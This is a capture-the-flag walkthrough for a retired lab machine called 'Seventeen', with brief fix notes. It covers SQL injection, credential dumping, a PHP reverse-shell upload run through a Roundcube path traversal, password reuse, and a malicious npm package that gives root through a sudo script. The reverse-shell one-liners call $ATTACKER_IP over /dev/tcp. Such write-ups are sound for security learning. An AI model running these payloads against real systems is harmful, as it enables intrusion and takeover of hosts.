Seventeen
Summary
I found a school-management site on port 80 and an Examination Management System on a virtual host. The exam app had an unauthenticated SQL injection that leaked a student login. That login opened an internal management portal on port 8000, where the student could upload files.
The uploaded PHP file was run through a file-inclusion flaw in an outdated Roundcube webmail installer, giving a shell as www-data inside a Docker container. A database password in a config file there was reused for SSH on the real host as user 'mark'. Mark could read mail that pointed to a private npm registry, which held a package leaking the password of a second user, 'kavi'.
Kavi could run an npm-based startup script through sudo. I used that script to make root install and run a malicious package from my own registry, which gave full root control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for mark>"
export PASSWORD2="<the-password-you-recovered, for kavi>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <port>, <port2> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Find open ports, then fingerprint services.
$ nmap -p- --min-rate=1000 $TARGET && nmap -sCV -p22,80,8000 $TARGETAdd the discovered vhosts to local name resolution.
$ echo "$TARGET seventeen.htb exam.seventeen.htb oldmanagement.seventeen.htb mastermailer.seventeen.htb" | sudo tee -a /etc/hostsFuzz vhosts; the -fw value filters the default response and may need adjusting.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.seventeen.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fw 2760Confirm the web app on port 80.
$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET/index.htmlExact commands 3
Confirm the injection and list the databases.
$ sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --dbs --level 3 --batchDump student records (student number and password).
$ sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id -D db_sfms -T student --dump --level 3 --batchDump the app users table, which leaks the oldmanagement hostname.
$ sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id -D erms_db -T users --dump --level 3 --batchFixFix SQL injection in the Examination Management SystemCritical
Exact commands 3
Create the reverse-shell payload. The file name must be papers.php, matching the papers folder. Replace $ATTACKER_IP and <port>.
$ printf '%s' '<?php system("bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/<port> 0>&1\""); ?>' > papers.phpBrowse to the portal, log in as student number 31234 / $PASSWORD3, and upload papers.php through the file-upload form.
$ curl -sS -i -H 'Host: oldmanagement.seventeen.htb' http://$TARGET:8000/Find the existing folder name under the student's upload directory (it was 'papers').
$ ffuf -u http://$TARGET:8000/files/31234/FUZZ -H 'Host: oldmanagement.seventeen.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txtFixValidate and isolate file uploads in the student portalHigh
Exact commands 4
Start the listener before triggering the include.
$ nc -lvnp <port>Save the config with the traversal path so the installer includes papers.php.
$ curl -sS -i --max-time 20 -H 'Host: mastermailer.seventeen.htb' -d '_step=2&_product_name=X&_plugins_qwerty=../../../../../../../../../var/www/html/oldmanagement/files/31234/papers&submit=UPDATE+CONFIG' http://$TARGET:8000/mastermailer/installer/index.phpLoad Roundcube so the plugin include runs and the reverse shell fires.
$ curl -sS -H 'Host: mastermailer.seventeen.htb' http://$TARGET:8000/mastermailer/Confirm the www-data shell inside the container.
$ id; hostname; pwd
uid=33(www-data)FixUpgrade Roundcube and remove the installerCritical
Exact commands 2
Run in the www-data shell to read the hardcoded database password.
$ cat /var/www/html/employeemanagementsystem/process/dbh.phpLog in to the host as mark -> <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mark@$TARGET 'id; hostname; pwd; cat /home/mark/user.txt'FixStop hardcoding and reusing passwordsHigh
Exact commands 4
From mark's session, read the mail that mentions db-logger and the private registry.
$ cat /var/mail/kaviFind the local Verdaccio registry on 127.0.0.1:4873.
$ ss -tlnpInstall the old package and read the hardcoded kavi credentials from it.
$ mkdir /tmp/x && cd /tmp/x && npm install db-logger --registry=http://127.0.0.1:4873 && cat node_modules/db-logger/logger.jsLog in as kavi and list sudo rights; sudo asks for a password, so use ssh -tt or 'sudo -S' if needed.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null kavi@$TARGET 'id; hostname; pwd; sudo -l'FixRemove secrets from packages and require authentication on the private registryHigh
Exact commands 6
On my machine, start a rogue Verdaccio registry.
$ docker run --rm -p 4873:4873 -e "VERDACCIO_PUBLIC_URL=http://$ATTACKER_IP:4873" verdaccio/verdaccioCreate a registry user (npm v9+ needs --auth-type=legacy).
$ npm adduser --registry http://localhost:4873 --auth-type=legacyPublish a loglevel package with a higher version containing a reverse shell. Replace $ATTACKER_IP and <port2>.
$ mkdir loglevel && cd loglevel && npm init -y && npm pkg set version=99.0.0 && echo 'require("child_process").exec("bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/<port2> 0>&1\"")' > index.js && npm publish --registry http://localhost:4873Listener for the root shell.
$ nc -lvnp <port2>Run as kavi. Root's npm reads kavi's .npmrc and installs the malicious loglevel.
$ echo "registry=http://$ATTACKER_IP:4873/" > ~/.npmrc; sudo /opt/app/startup.shConfirm root -> <root.txt>
$ id; hostname; pwd; cat /root/root.txt
uid=0(root)FixHarden the sudo-allowed npm startup scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 8000/tcp | http Apache httpd 2.4.38 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.